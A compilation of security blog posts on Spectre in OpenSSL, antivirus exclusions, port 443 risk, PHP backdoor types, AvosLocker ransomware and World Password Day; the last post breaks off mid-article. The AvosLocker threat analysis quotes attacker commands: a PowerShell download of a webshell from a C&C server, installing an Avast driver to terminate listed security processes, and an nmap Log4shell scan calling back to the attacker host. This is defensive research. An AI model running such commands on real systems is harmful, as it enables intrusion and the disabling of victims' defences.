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Spectre and Meltdown Attacks Against OpenSSL

The OpenSSL Technical Committee (OTC) was recently made aware of several potential attacks against the OpenSSL libraries which might permit information leakage via the Spectre attack.¹ Although there are currently no known exploits for the Spectre attacks identified, it is plausible that some of them might be exploitable.

Local side channel attacks, such as these, are outside the scope of our security policy, however the project generally does introduce mitigations when they are discovered. In this case, the OTC has decided that these attacks will not be mitigated by changes to the OpenSSL code base. The full reasoning behind this is given below.

The Spectre attack vector, while applicable everywhere, is most important for code running in enclaves because it bypasses the protections offered. Example enclaves include, but are not limited to:

The reasoning behind the OTC’s decision to not introduce mitigations for these attacks is multifold:

Such issues do not fall under the scope of our defined security policy. Even though we often apply mitigations for such issues we do not mandate that they are addressed.
Maintaining code with mitigations in place would be significantly more difficult. Most potentially vulnerable code is extremely non-obvious, even to experienced security programmers. It would thus be quite easy to introduce new attack vectors or fix existing ones unknowingly. The mitigations themselves obscure the code which increases the maintenance burden.
Automated verification and testing of the attacks is necessary but not sufficient. We do not have automated detection for this family of vulnerabilities and if we did, it is likely that variations would escape detection. This does not mean we won’t add automated checking for issues like this at some stage.
These problems are fundamentally a bug in the hardware. The software running on the hardware cannot be expected to mitigate all such attacks. Some of the in-CPU caches are completely opaque to software and cannot be easily flushed, making software mitigation quixotic. However, the OTC recognises that fixing hardware is difficult and in some cases impossible.
Some kernels and compilers can provide partial mitigation. Specifically, several common compilers have introduced code generation options addressing some of these classes of vulnerability:
- GCC has the -mindirect-branch, -mfunction-return and -mindirect-branch-register options
- LLVM has the -mretpoline option
- MSVC has the /Qspectre option

Nicholas Mosier, Hanna Lachnitt, Hamed Nemati, and Caroline Trippel, “Axiomatic Hardware-Software Contracts for Security,” in Proceedings of the 49th ACM/IEEE International Symposium on Computer Architecture (ISCA), 2022.↩

Posted by OpenSSL Technical Committee May 13th, 2022 12:00 am

Source :
https://www.openssl.org/blog/blog/2022/05/13/spectre-meltdown/

Which Altaro directories do I need to exclude from AntiVirus software?

If you are running an AntiVirus software or a file-scanning software, we do recommend excluding a couple of directories used by Altaro in order to ensure that it’s operation remains undisrupted.

We do recommend excluding the following:

all onsite backup drive directories
all offsite backup drive directories
C:\ProgramData\Altaro on the Altaro Management and on the Hyper-V hosts
C:\Program Files\Altaro on the Altaro Management and on the Hyper-V hosts

Also, if you relocated the Altaro temporary files ensure to exclude that directory as well.

Source :
https://help.altaro.com/hc/en-us/articles/4416905883409-Which

Securing Port 443: The Gateway To A New Universe

At Wordfence our business is to secure over 4 million WordPress websites and keep them secure. My background is in network operations, and then I transitioned into software development because my ops role was at a scale where I found myself writing a lot of code. This led me to founding startups, and ultimately into starting the cybersecurity business that is Wordfence. But I’ve maintained that ops perspective, and when I think about securing a network, I tend to think of ports.

You can find a rather exhaustive list of TCP and UDP ports on Wikipedia, but for the sake of this discussion let’s focus on a few of the most popular ports:

20 and 21 – FTP
22 – SSH
23 – (Just kidding. You better not be running Telnet)
25 – Email via SMTP
53 – DNS
80 – Unencrypted Web
110 – POP3 (for older email clients)
443 – Web encrypted via TLS
445 – Active Directory or SMB sharing
993 – IMAP (for email clients)
3306 – MySQL
6378 – Redis
11211 – Memcached

If you run your eye down this list, you’ll notice something interesting. The options available to you for services to run on most of these ports are quite limited. Some of them are specific to a single application, like Redis. Others, like SMTP, provide a limited number of applications, either proprietary or open-source. In both cases, you can change the configuration of the application, but it’s rare to write a custom application on one of those ports. Except port 443.

In the case of port 443 and port 80, you have a limited range of web servers listening on those ports, but users are writing a huge range of bespoke applications on port 443, and have a massive selection of applications that they can host on that port. Everything from WordPress to Drupal to Joomla, and more. There are huge lists of Content Management Systems.

Not only do you have a wide range of off-the-shelf web applications that you can run on port 443 or (if you’re silly) port 80, but you also have a range of languages they might be coded in, or in which you can code your own web application. Keep in mind that the web server, in this case, is much like an SSH or IMAP server in that it is listening on the port and handling connections, but the difference is that it is handing off execution to these languages, their various development frameworks, and ultimately the application that a developer has written to handle the incoming request.

With SSH, SMTP, FTP, IMAP, MySQL, Redis and most other services, the process listening on the port is the process that handles the request. With web ports, the process listening on the port delegates the incoming connection to another application, usually written in another language, running at the application layer, that is part of the extremely large and diverse ecosystem of web applications.

This concept in itself – that the applications listening on the web ports are extremely diverse and either home-made or selected from a large and diverse ecosystem – presents unique security challenges. In the case of, say, Redis, you might worry about running a secure version of Redis and making sure it is not misconfigured. In the case of a web server, you may have 50 application instances written in two languages from five different vendors all on the same port, which all need to be correctly configured, have their patch levels maintained, and be written using secure coding practices.

As if that doesn’t make the web ports challenging enough, they are also, for the most part, public. Putting aside internal websites for the moment, perhaps the majority of websites derive their value from making services available to users on the Internet by being public-facing. If you consider the list of ports I have above, or in the Wikipedia article I linked to, many of those ports are only open on internal networks or have access to them controlled if they are external. Web ports for public websites, by their very nature, must be publicly accessible for them to be useful. There are certain public services like SMTP or DNS, but as I mentioned above, the server that is listening on the port is the server handling the request in these cases.

A further challenge when securing websites is that often the monetary and data assets available to an attacker when compromising a website are greater than the assets they may gain compromising a corporate network. You see this with high volume e-commerce websites where a small business is processing a large number of web-based e-commerce transactions below $100. If the attacker compromises their corporate network via leaked AWS credentials, they may gain access to the company bank account and company intellectual property, encrypt the company’s data using ransomware, or perhaps even obtain customer PII. But by compromising the e-commerce website, they can gain access to credit card numbers in-flight, which are far more tradeable, and where the sum of available credit among all cards is greater than all the assets of the small business, including the amount of ransom that business might be able to pay.

Let’s not discount breaches like the 2017 Equifax breach that compromised 163 million American, British and Canadian citizen’s records. That was extremely valuable to the attackers. But targets like this are rare, and the Web presents a target-rich environment. Which is the third point I’d like to make in this post. While an organization may run a handful of services on other ports, many companies – with hosting providers in particular – run a large number of web applications. And an individual or company is far more likely to have a service running on a web port than any other port. Many of us have websites, but how many of us run our own DNS, SMTP, Redis, or another service listening on a port other than 80 or 443? Most of us who run websites also run MySQL on port 3306, but that port should not be publicly accessible if configured correctly.

That port 443 security is different has become clear to us at Wordfence over the years as we have tracked and cataloged a huge number of malware variants, web vulnerabilities, and a wide range of tactics, techniques, and procedures (TTP) that attackers targeting web applications use. Most of these have no relationship with the web server listening on port 443, and nearly all of them have a close relationship with the web application that the web server hands off control to once communication is established.

My hope with this post has been to catalyze a different way of thinking about port 443 and that other insecure port (80) we all hopefully don’t use. Port 443 is not just another service. It is, in fact, the gateway to a whole new universe of programming languages, dev frameworks, and web applications.

In the majority of cases, the gateway to that new universe is publicly accessible.

Once an attacker passes through that gateway, a useful way to think about the web applications hosted on the server is that each application is its own service that needs to have its patch level maintained, needs to be configured correctly, and should be removed if it is not in use to reduce the available attack surface.

If you are a web developer you may already think this way, and if anything, you may be guilty of neglecting services on ports other than port 80 or 443. If you are an operations engineer, or an analyst working in a SOC protecting an enterprise network, you may be guilty of thinking about port 443 as just another port you need to secure.

Think of port 443 as a gateway to a new universe that has no access control, with HTTPS providing easy standardized access, and with a wide range of diverse services running on the other side, that provide an attacker with a target and asset-rich environment.

—

Footnote: We will be exhibiting at Black Hat in Las Vegas this year at booth 2514 between the main entrance and Innovation City. Our entire team of over 30 people will be there. We’ll have awesome swag, as always. Come and say hi! Our team will also be attending DEF CON immediately after Black Hat.

Written by Mark Maunder – Founder and CEO of Wordfence.

Source :
https://www.wordfence.com/blog/2022/06/securing-port-443/

Examining Emerging Backdoors

Next up in our “This didn’t quite make it into the 2021 Threat Report, but is still really cool” series: New backdoors!

Backdoors are a crucial component of a website infection. They allow the attackers ongoing access to the compromised environment and provide them a “foot in the door” to execute their payload. We see many different types of backdoors with varying functionality.

When our malware research team is provided with a new backdoor they need to write what’s called a “signature” to ensure that we detect and remove it in future security scans. Signatures need names, and over the years we’ve developed something of a taxonomy naming system for all of the different malware that we come across.

In this article we’re going to explore all the different categories of signatures for newly-discovered backdoors throughout the year 2021.

How do Backdoors Work?

HTTP requests to websites typically fall into one of the following categories:

POST – sending data to a website
GET – requesting data from a website
COOKIE – data (such as session data) saved from a website
REQUEST – a conjunction of all/any of the three

We see all sorts of different backdoors while cleaning up compromised websites. Sometimes they use one of these types of requests, or a combination of multiple different types.

We’ve broken all newly generated signatures from 2021 down for further analysis into the following categories:

A graph showing the distribution of new backdoor signatures generated in 2021.

Uploaders

By far the most common type of backdoor found in 2021 was an uploader: That is, a PHP script that allows the attackers to upload any file that they want. These malicious files allow anyone with the correct URL path, parameters and (occasionally) access credentials to upload whichever files they want to the web server. Typically, bad actors use these backdoors to upload a webshell, spam directory, dropper, or other type of file giving them full control over the environment.

To avoid detection, attackers are always tweaking their malware by using new methods of obfuscation or concealing backdoors within legitimate-looking images, core files, plugins, or even themes — this can make malicious file uploaders difficult to detect during a casual site review.

Once an attacker has identified a vulnerable environment that they can get a foothold in, planting the uploader is often the next step. After that they have enough access to upload more complicated access points such as a webshell.

Of course there are legitimate uploader scripts, as many websites require functionality to allow users to upload photos or other content to the website. To mitigate risk, secure uploader scripts contain strict rules on how they are able to behave:

Only certain file types/extensions are allowed (usually image, or document files)
May require authorisation cookies to be set
May place files in a restricted directory with PHP execution disabled
May disable direct access and instead need to be called by the existing CMS structure

Malicious uploaders, on the other hand, have no such restrictions as they are designed to upload malicious files and PHP scripts.

WebShells

Webshells are a classic type of malware that have been used by attackers for many years. They are administrative dashboards that give the attacker full access to the files and often provide a large amount of information about the hosting environment including operating system, PHP settings, web server configurations, file management, and SQL connections.

The classic FilesMan shell continues to be very popular with attackers. In 2021 we generated 20 new signatures related to new filesman variants alone, not including hack tools which grab filesman shells from remote servers.

Interestingly, a lot of malicious web shells provide far superior functionality than a lot of file managers provided by web hosting providers.

Misc RCE

Sometimes remote code execution backdoors are a little more complicated, or just rely on more basic/generic $_REQUEST calls. This is a PHP global array that contains the content of GET, POST and COOKIE inputs. The content of these variables could be anything and the attacker can fill them — e.g. with the payload — which is then processed. Sometimes the entire payload code is stored there and only very simple code snippets are injected into legitimate files. Such a snippet only loads and executes the content of these variables.

Other times, RCE backdoors make use of multiple different functions and request types.

Generic

Not falling into any particular category are our collection of “generic” backdoors. They tend to use a mixture of different functions and methods to maintain backdoor access to the environment. Some are heavily obfuscated and others are mostly in plain text, but what unites them is that they don’t rely on any one technique to backdoor the environment in which they reside.

FILE_GET_CONTENTS

The PHP function file_get_contents fetches a local file or remote file. As far as backdoors are concerned, attackers misuse this function to grab malicious files located on other websites or servers and add it to the victim’s website. This allows them to host the actual malicious content elsewhere, while maintaining all of the same functionality on the victim environment.

Here we have a very simple backdoor using file_get_contents to grab a backdoor from a malicious server. The actual address is obfuscated through use of a URL shortening service:

The footprint of this malware is very small as the payload resides elsewhere, but the functionality is potentially huge.

Remote Code Execution Backdoors

Not to be confused with remote code execution vulnerabilities, these backdoors are crafted to take whatever command is issued to it by the attacker and execute it in the victim’s environment. These PHP backdoors are often more complex than uploaders and allow the attackers more leeway in terms of how they can interact with the victim website.

If a request is sent that matches the parameters of the backdoor it will execute whichever command the attacker instructs so long as it doesn’t get blocked by any security software or firewall running within the environment.

Here’s another example of a quite well hidden RCE backdoor in a Magento environment:

A well-hidden RCE backdoor in a Magento environment

Attackers make heavy use of the eval function which executes the command in the victim environment.

FILE_PUT_CONTENTS

These backdoors utilise the PHP function file_put_contents which will write the instructed content to a file on the victim environment.

Here is an example of such a backdoor lodged in a WordPress configuration file wp-config.php:

This backdoor writes the specified malicious content into the file structure of the victim website given the correct parameters in the attacker’s request, allowing them to infect other files on the server with the content of their choice.

cURL

The curl() function facilitates the transmission of data. It can be used maliciously to download remote code which can be executed or directly displayed. This way, malware authors are able to create a small backdoor that only has this curl functionality implemented while the payload itself can be downloaded from a remote source.

It has many uses, and as such can be misused in many ways by attackers. We have seen it used frequently in credit card skimmers to transmit sensitive details to exfiltration destinations. It can also be used in RCE backdoors:

Since the attackers have crafted a backdoor to (mis)use curl, and they control the parameters under which it will function, in this way they are able to send or receive malicious traffic to and from the website, depending on how the backdoor is designed.

Authentication Bypass

These types of backdoors are most often seen in WordPress environments. They are small PHP scripts which allow the attacker to automatically log in to the administrator panel without needing to provide any password.

As long as they include the database configuration file in the script then they are able to set the necessary cookies for authorization, as seen in this example here:

A backdoor which bypasses normal authentication

The existence of such backdoors presents a case that additional authentication requirements should be employed within website environments. Protecting your admin panel with our firewall’s protected page feature is a great way to do this.

If you’re not a user of our firewall there are a lot of other ways that your admin panel can be protected.

Basic RCE via POST

Backdoors that take input through POST requests are quite common and many of the backdoor types that we’ve seen contain such functionality. Some of them, however, are quite small and rely exclusively on POST requests.

The example below shows one such backdoor, coupled with basic password protection to ensure that the backdoor is not used by anybody that does not have access to the password.

A basic remote code execution backdoor which uses POST

Fake Plugins

Another tactic that we’ve seen attackers use is the use of fake plugins. This is frequently used as a payload to deliver spam and malware, since WordPress will load the components present in the ./wp-content/plugins directory.

We’ve also seen attackers use these plugins as backdoors to maintain access to compromised environments.

A fake plugin in a WordPress environment

Since admin panel compromises are a very common attack vector, the usage of fake/malicious backdoor plugins is quite popular with attackers.

System Shell Backdoors

Attackers have also written malware that interacts with the hosting environment itself and will attempt to run shell commands via PHP scripts in the environment. This is not always possible, depending on the security settings of the environment, but here’s an example of one such backdoor:

If system() is disabled in the environment then these will not work, so the functionality of such backdoors will be limited by the security settings in the host.

COOKIE Based Backdoors

Some malware creators use COOKIES as a storage for various data. These can be decryption keys used to decode an otherwise inaccessible payload, or even the entire malicious payload itself.

CREATE_FUNCTION

The create_function() is often used by malware instead of (or in conjunction with) the eval() function to hide the execution of the malicious code. The payload is encapsulated inside the crafted custom function, often with an obfuscated name to make the functionality less clear.

This function is then called somewhere else within the code, and thus the payload is evaluated. Backdoors have been found to abuse this to place their payload back on the infected website after it was removed.

A backdoor which creates a malicious function in the victim environment

RCE via GET

Backdoors have also been seen using GET requests for input, rather than POST requests. In the example below we can see that the backdoor will execute the malicious payload if a GET request contains a certain string.

A remote code execution backdoor which uses GET

This allows the attackers to restrict the usage of the backdoor to only those who know the exact parameters to specify in the malicious GET request to the website. If the correct parameters are given then the backdoor will execute its intended function.

Database Management Backdoors

Most often attackers will misuse tools such as Adminer to insert malicious content into the victim website’s database, but occasionally we have seen them craft their own database management tools. This allows them to insert admin users into the website as well as inject malicious JavaScript into the website content to redirect users to spam or scam websites or steal credit card information from eCommerce environments.

Conclusion & Mitigation Steps

Backdoors play a crucial role for the attackers in a huge number of website compromises. Once the attackers are able to gain a foothold into an environment their goal is to escalate the level of access they have as much as possible. Certain vulnerabilities will provide them access only to certain directories. For example, a subdirectory of the wp-content/uploads area of the file structure.

Often the first thing they will do is place a malicious uploader or webshell into the environment, giving them full control over the rest of the website files. Once that is established they are able to deliver a payload of their choosing.

If default configurations are in place in a standard WordPress/cPanel/WHM configuration a single compromised admin user on a single website can cause the entire environment to be infected. Attackers can move laterally throughout the environment by the use of symlinks even if the file permissions/ownership are configured correctly.

Malicious actors are writing new code daily to try to evade existing security detections. As security analysts and researchers it’s our job to stay on top of the most recent threats and ensure that our tools and monitoring detect it all.

Throughout the year 2021 we added hundreds of new signatures for newly discovered backdoors. I expect we’ll also be adding hundreds more this year.

If you’d like us to help you monitor and secure your website from backdoors and other threats you can sign up for our platform-agnostic website security services.

Source :
https://blog.sucuri.net/2022/05/examining-emerging-backdoors.html

AvosLocker Ransomware Variant Abuses Driver File to Disable Anti-Virus, Scans for Log4shell

We found samples of AvosLocker ransomware that makes use of a legitimate driver file to disable anti-virus solutions and detection evasion. While previous AvosLocker infections employ similar routines, this is the first sample we observed from the US with the capability to disable a defense solution using a legitimate Avast Anti-Rootkit Driver file (asWarPot.sys). In addition, the ransomware is also capable of scanning multiple endpoints for the Log4j vulnerability Log4shell using Nmap NSE script.

Infection chain

fig1-avoslocker-ransomware-disables-av-scans-log4shell — Figure 1. AvosLocker infection chain

According to our analysis, the suspected entry point is via the Zoho ManageEngine ADSelfService Plus (ADSS) exploit:

fig2-avoslocker-ransomware-disables-av-scans-log4shell — Figure 2. The ADSS exploit abusing CVE-2021-40539

Due to the lack of network traffic details, we could not identify the exact CVE ID of the security gap the attacker used. However, there are some indications that they abused the same vulnerability previously documented by Synacktiv during a pentest, CVE-2021-40539. The gap we observed was particularly similar to the creation of JSP files (test.jsp), execution of keytool.exe with “null” parameters to run a crafted Java class/code.

Mapping the infection

The ADSS JAVA component (C:\ManageEngine\ADSelfService Plus\jre\bin\java.exe) executed mshta.exe to remotely run a remotely-hosted HTML application (HTA) file from the attackers’ command and control (C&C) server. Using Trend Micro™ Vision One™, we mapped out the processes that the infection performed to spawn the process.

fig3-avoslocker-ransomware-disables-av-scans-log4shell — Figure 3. Remotely executing an HTA file from the C&C server. Screenshots taken from Trend Micro Vison One.

fig4-avoslocker-ransomware-disables-av-scans-log4shell — Figure 4. HTA file connecting to the C&C

A closer look at the HTA file revealed that the mshta.exe downloads and executes the remotely hosted HTA file. The HTA executed an obfuscated PowerShell script that contains a shellcode, capable of connecting back to the C&C server to execute arbitrary commands.

fig5-avoslocker-ransomware-disables-av-scans-log4shell — Figure 5. Obfuscated PowerShell script contains a shellcode

The PowerShell process will download an ASPX webshell from the C&C server using the command < cmd.exe /c powershell -command Invoke-WebRequest -Uri hxxp://xx.xx.xx.xx/subshell.aspx -OutFile /ManageEngine/ADSelfService Plus/webapps/adssp/help/admin-guide >. According to Synacktiv’s research, with this command, the downloaded ASPX webshell is downloaded from a remote IP address and saved to the directory, and still accessible to the attacker. The attackers gathered system information using available tools such as whoami and systeminfo, as well as PowerShell commands.

fig6-avoslocker-ransomware-disables-av-scans-log4shell — Figure 6. Gather system information

The code executes on the current domain controller to gather the username information, while the query user information gathers data about user sessions on a Remote Desktop Session Host server, name of the user, session ID, state of the session (either active or disconnected), idle time, date, and time the user logged on.

fig7-avoslocker-ransomware-disables-av-scans-log4shell — Figure 7. Executed with the /domain argument to collect username information

fig8-avoslocker-ransomware-disables-av-scans-log4shell — Figure 8. query user information for session data

The PowerShell downloads, installs, and allows the remote desktop tool AnyDeskMSI through the firewall.

fig9-avoslocker-ransomware-disables-av-scans-log4shell — Figure 9. The PowerShell downloading and installing AnyDeskMSI

We observed that a new user account was created, added to the current domain, and included in the administrator group. This ensures the attacker can have administrative rights to the infected system. The attackers also checked the running processes in the system via TaskList to check for anti-virus processes running in the infiltrated system.

fig10-avoslocker-ransomware-disables-av-scans-log4shell — Figure 10. Creating a new account with admin rights

fig11-avoslocker-ransomware-disables-av-scans-log4shell — Figure 11. Checking for anti-virus processes running

During the scan, we observed an attempt to terminate security products initiated via TaskKill. Testing the sample with Trend Micro Vision One, the attempt failed as its sensors were still able to send activity data to the platform.

fig12-avoslocker-ransomware-disables-av-scans-log4shell — Figure 12. Terminating security products running

Tools and functions

Additional tools and components were copied to the compromised machine using AnyDeskMSI to scan the local network and disable security products. The tools transferred using AnyDesk are:

Netscan: To scan for other endpoints
Nmap (log4shell.nse): To scan for Log4shell vulnerable endpoints
Hacking tools Mimikatz and Impacket: For lateral movement
PDQ deploy: For mass deployment of malicious script to multiple endpoints
Aswarpot.sys: For disabling defense solutions. We noted that it can disable a number of anti-virus products, previously identified by Aon’s researchers.

fig13-avoslocker-ransomware-disables-av-scans-log4shell — Figure 13. Copying tools and other malicious components to the compromised machine using AnyDesk

We found an Avast anti-rootkit driver installed as service ‘asWarPot.sys’ using the command sc.exe create aswSP_ArPot2 binPath= C:\windows\aswArPot.sys type= kernel. It installs the driver file in preparation for disabling the running anti-virus product. We noted the unusual use of cmd.exe for execution of the file.

fig14-avoslocker-ransomware-disables-av-scans-log4shell — Figure 14. Executing the anti-rootkit driver in the system

Mimikatz components were also copied to the affected machine via AnyDeskMSI. However, these components were detected and deleted.

fig15-avoslocker-ransomware-disables-av-scans-log4shell — Figure 15. Detecting and deleting Mimikatz

We observed the PowerShell script disabling the security products by leveraging aswarpot.sys (a legitimate Avast Anti-Rootkit Driver). A list of security product processes was supplied and subsequently terminated by the driver.

fig16-avoslocker-ransomware-disables-av-scans-log4shell — Figure 16. Listing and terminating the security products found running in the compromised system

Verification: Manual replication of anti-virus disabling routine

We manually replicated the routine and commands for disabling the defense solutions to further look into the routine. Figure 17 shows the list of processes that the routine searches on infection :

EndpointBasecamp.exe
Trend Micro Endpoint Basecamp
ResponseService.exe
PccNTMon.exe
SupportConnector.exe
AOTAgent.exe
CETASvc.exe
CETASvc
iVPAgent.exe
tmwscsvc.exe
TMResponse
AOTAgentSvc
TMBMServer
iVPAgent
Trend Micro Web Service Communicator
Tmccsf
Tmlisten
Ntrtscan
TmWSCSvc

fig17-avoslocker-ransomware-disables-av-scans-log4shell — Figure 17. Searching for processes

We found that aswArPot.sys, registered as aswSP_ArPot2 as a service, is used as the handle for the following DeviceIoControl call.

fig18-avoslocker-ransomware-disables-av-scans-log4shell — Figure 18. Driver file preparing to disable an anti-virus product

The DeviceIoControl function is used to execute parts of the driver. In this case, the DeviceIoControl is inside a loop that iterates through the list of processes mentioned above. Additionally, we can see that 0x9988C094 is passed to DeviceIoControl as an argument simultaneous to the ID of the current process in the iteration.

fig19-avoslocker-ransomware-disables-av-scans-log4shell — Figure 19. DeviceIoControl as an argument with the current process ID

Inside aswArPot.sys, we saw 0x9988C094 in a switch case with a function sub_14001DC80 case. Inside function sub_14001DC80, we can see that that function has the capability to terminate a given process.

fig20-avoslocker-ransomware-disables-av-scans-log4shell — Figure 20. 0x9988C094 in a switch case with sub_14001DC80 (above), with the latter value terminating a process (below).

Other executions and lateral movement

After disabling the security products, the actors behind AvosLocker again tried to transfer other tools, namely Mimikatz and Impacket.

fig21-avoslocker-ransomware-disables-av-scans-log4shell — Figure 21. Execution of Mimikatz (above) and Impacket via C:\temp\wmiexec.exe (below)

We also observed the execution of a password recovery tool XenArmor with C:\temp\pass\start.exe.

fig22-avoslocker-ransomware-disables-av-scans-log4shell — Figure 22. XenArmor password recovery tool execution

We observed the attackers using an NMAP script to check for Log4shell, the Apache Log4j remote code execution (RCE, with ID CVE-2021-44228) vulnerability across the network. They used the command nmap –script log4shell.nse –script-args log4shell.waf-bypass=true –script-args log4shell.callback-server=xx.xx.xx.xx:1389 -p 80,443 xx.xx.xx.xx/xx, and set the callback server to the attacker group C&C server.

fig23-avoslocker-ransomware-disables-av-scans-log4shell — Figure 23. Checking for log4shell

We also observed more system network configuration discovery techniques being run, possibly for lateral movement as it tried looking for other available endpoints.

fig24-avoslocker-ransomware-disables-av-scans-log4shell — Figure 24. Running more system network configuration discovery scans

Deploying across the network

We saw software deployment tool PDQ being used to deploy malicious batch scripts to multiple endpoints in the network.

fig25-avoslocker-ransomware-disables-av-scans-log4shell — Figure 25. Deploying malicious batch scripts to other endpoints

The deployed batch script has the following commands:

Disable Windows Update and Microsoft Defender

fig26-avoslocker-ransomware-disables-av-scans-log4shell — Figure 26. Disable Microsoft defense services

Prevents safeboot execution of security products

fig27-avoslocker-ransomware-disables-av-scans-log4shell — Figure 27. Prevent security products’ execution

Create new administrator account

fig28-avoslocker-ransomware-disables-av-scans-log4shell — Figure 28. Create new account

Add the AutoStart mechanism for the AvosLocker executable (update.exe)

fig29-avoslocker-ransomware-disables-av-scans-log4shell — Figure 29. Add Autostart for ransomware executable

Disables legal notice caption

fig30-avoslocker-ransomware-disables-av-scans-log4shell — Figure 30. Disable legal notice

Set safeboot with networking and disables Windows Error Recovery and reboot

fig31-avoslocker-ransomware-disables-av-scans-log4shell — Figure 31. Setting and disabling network and specific Windows functions

Conclusion

While AvosLocker has been documented for its abuse of AnyDesk for lateral movement as its preferred application, we note that other remote access applications can also be abused to replace it. We think the same can be said for the software deployment tool, wherein the malicious actors can subsequently decide to replace and abuse it with other commercially available ones. In addition, aside from its availability, the decision to choose the specific rootkit driver file is for its capability to execute in kernel mode (therefore operating at a high privilege).

This variant is also capable of modifying other details of the installed security solutions, such as disabling the legal notice. Other modern ransomware, such as Mespinoza/Pysa, modify the registries of infected systems during their respective routines to inform their victims that they have been compromised.

Similar to previously documented malware and ransomware groups, AvosLocker takes advantage of the different vulnerabilities that have yet to be patched to get into organizations’ networks. Once inside, the continuing trend of abusing legitimate tools and functions to mask malicious activities and actors’ presence grows in sophistication. In this case, the attackers were able to study and use Avast’s driver as part of their arsenal to disable other vendors’ security products.

However, and specific to this instance, the attempt to kill an anti-virus product such as this variant’s TaskKill can also be foiled. In this example using Trend Micro Vision One, the attempt was unsuccessful likely due to the product’s self-protection feature, which allowed the sensors to continue sending data and block the noted routine. The visibility enabled by the platform allowed us as researchers to capture the extent of this ransomware’s attack chain and replicate the driver file being abused to verify its function during compromise.

Avast responded to our notification with this statement:

“We can confirm the vulnerability in an old version of our driver aswArPot.sys, which we fixed in our Avast 21.5 released in June 2021. We also worked closely with Microsoft, so they released a block in the Windows operating system (10 and 11), so the old version of the Avast driver can’t be loaded to memory.

The below example shows that the blocking works (output from the “sc start” command):

(SC) StartService FAILED 1275:

This driver has been blocked from loading

The update from Microsoft for the Windows operating system was published in February as an optional update, and in Microsoft’s security release in April, so fully updated machines running Windows 10 and 11 are not vulnerable to this kind of attack.

All consumer and business antivirus versions of Avast and AVG detect and block this AvosLocker ransomware variant, so our users are protected from this attack vector.

For users of third-party antivirus software, to stay protected against this vulnerability, we recommend users to update their Windows operating system with the latest security updates, and to use a fully updated antivirus program.”

Indicators of Compromise (IOCs)

File	SHA256	Detection
Malicious batch file component	a5ad3355f55e1a15baefea83ce81d038531af516f47716018b1dedf04f081f15	Trojan.BAT.KILLAV.YACAA
AvosLocker executable	05ba2df0033e3cd5b987d66b6de545df439d338a20165c0ba96cde8a74e463e5	Ransom.Win32.AVOSLOCKER.SMYXBLNT
Mimikatz executable (x32 and x64)	912018ab3c6b16b39ee84f17745ff0c80a33cee241013ec35d0281e40c0658d9	HackTool.Win64.MIMIKATZ.ZTJA
e81a8f8ad804c4d83869d7806a303ff04f31cce376c5df8aada2e9db2c1eeb98	HackTool.Win32.Mimikatz.CNFW
Log4shell Nmap NSE script	ddcb0e99f27e79d3536a15e0d51f7f33c38b2ae48677570f36f5e92863db5a96	Backdoor.Win32.CVE202144228.YACAH
Impacket tool	14f0c4ce32821a7d25ea5e016ea26067d6615e3336c3baa854ea37a290a462a8	HackTool.Win32.Impacket.AA

Source :
https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html

This World Password Day consider ditching passwords altogether

Did you know that May 5, 2022, is World Password Day?¹ Created by cybersecurity professionals in 2013 and designated as the first Thursday every May, World Password Day is meant to foster good password habits that help keep our online lives secure. It might seem strange to have a day set aside to honor something almost no one wants to deal with—like having a holiday for filing your income taxes (actually, that might be a good idea). But in today’s world of online work, school, shopping, healthcare, and almost everything else, keeping our accounts secure is more important than ever. Passwords are not only hard to remember and keep track of, but they’re also one of the most common entry points for attackers. In fact, there are 921 password attacks every second—nearly doubling in frequency over the past 12 months.²

But what if you didn’t have to deal with passwords at all? Last fall, we announced that anyone can completely remove the password from their Microsoft account. If you’re like me and happy to ditch passwords completely, read on to learn how Microsoft is making it possible to start enjoying a passwordless life today. Still, we know not everyone is ready to say goodbye to passwords, and it’s not possible for all your online accounts. We’ll also go over some easy ways to improve your password hygiene, as well as share some exciting news from our collaboration with the FIDO Alliance about a new way to sign in without a password.

Free yourself with passwordless sign-in

Yes, you can now enjoy secure access to your Microsoft account without a password. By using the Microsoft Authenticator app, Windows Hello, a security key, or a verification code sent to your phone or email, you can go passwordless with any of your Microsoft apps and services. Just follow these five steps:

Download and install Microsoft Authenticator (linked to your personal Microsoft account).
Sign in to your Microsoft account.
Choose Security. Under Advanced security options, you’ll see Passwordless account in the section titled Additional security.
Select Turn on.
Approve the notification from Authenticator.

Once you approve the notification, you’ll no longer need a password to access your Microsoft accounts. If you decide you prefer using a password, you can always go back and turn off the passwordless feature. Here at Microsoft, nearly 100 percent of our employees use passwordless options to log into their corporate accounts.

Strengthen security with multifactor authentication

One simple step we can all take to protect our accounts today is adding multifactor authentication, which blocks 99.9 percent of account compromise attacks. The Microsoft Authenticator app is free and provides multiple options for authentication, including time-based one-time passcodes (TOTP), push notifications, and passwordless sign-in—all of which work for any site that supports multifactor authentication. Authenticator is available for Android and iOS and gives you the option to turn two-step verification on or off. For your Microsoft Account, multifactor authentication is usually only needed the first time you sign in or after changing your password. Once your device is recognized, you’ll just need your primary sign-in.

Make sure your password isn’t the weak link

Rather than keeping attackers out, weak passwords often provide a way in. Using and reusing simple passwords across different accounts might make our online life easier, but it also leaves the door open. Attackers regularly scroll social media accounts looking for birthdates, vacation spots, pet names and other personal information they know people use to create easy-to-remember passwords. A recent study found that 68 percent of people use the same password for different accounts.³ For example, once a password and email combination has been compromised, it’s often sold on the dark web for use in additional attacks. As my friend Bret Arsenault, our Chief Information Security Officer (CISO) here at Microsoft, likes to say, “Hackers don’t break in, they log in.”

Some basics to remember—make sure your password is:

At least 12 characters long.
A combination of uppercase and lowercase letters, numbers, and symbols.
Not a word that can be found in a dictionary, or the name of a person, product, or organization.
Completely different from your previous passwords.
Changed immediately if you suspect it may have been compromised.

Tip: Consider using a password manager. Microsoft Edge and Microsoft Authenticator can create (and remember) strong passwords using Password Generator, and then automatically fill them in when accessing your accounts. Also, keep these other tips in mind:

Only share personal information in real-time—in person or by phone. (Be careful on social media.)
Be skeptical of messages with links, especially those asking for personal information.
Be on guard against messages with attached files, even from people or organizations you trust.
Enable the lock feature on all your mobile devices (fingerprint, PIN, or facial recognition).
Ensure all the apps on your device are legitimate (only from your device’s official app store).
Keep your browser updated, browse in incognito mode, and enable Pop-Up Blocker.
Use Windows 11 and turn on Tamper Protection to protect your security settings.

Tip: When answering security questions, provide an unrelated answer. For example, Q: “Where were you born?” A: “Green.” This helps throw off attackers who might use information skimmed from your social media accounts to hack your passwords. (Just be sure the unrelated answers are something you’ll remember.)

Passwordless authentication is becoming commonplace

